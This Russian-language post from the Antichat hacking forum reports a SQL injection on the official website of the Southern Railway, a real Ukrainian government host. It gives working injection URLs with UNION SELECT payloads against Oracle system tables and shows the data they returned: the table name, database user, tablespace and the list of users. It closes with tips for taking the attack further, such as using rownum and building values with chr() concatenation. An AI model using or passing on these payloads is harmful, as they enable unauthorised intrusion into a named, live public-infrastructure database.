Форум АНТИЧАТ - Показать сообщение отдельно

Официальный сайт Южной железной дороги!
вывод в теге <title>

В даному случае скуль в оракле!

Цитата:

http://www.pz.gov.ua/dept/dept.php?lid=1&mid=-2511+union+select+table_name+from+sys.all_tables--+

таблица AAABBB

Oracle

Цитата:

http://www.pz.gov.ua/dept/dept.php?lid=1&mid=-2511+union+select+user+from+sys.user_tables--+

пользователь PZ

Цитата:

http://www.pz.gov.ua/dept/dept.php?lid=1&mid=-2511+union+select+tablespace_name+from+sys.user_ta bles--+

PZTAB

пользователи

Код:

OUTLN
SYS
DBSNMP
...

таблицы системного пользователя SYS

Код:

Dual
AUDIT_ACTIONS

доступ до DBA_USERS для пользователя под которым работает скрипт закрыт.

Код:

всесто limit rownum
кавычки екранируються
в запросе в скрыпте  один атрибут
склейка так атрибут||chr(симовл асци)||..||..||..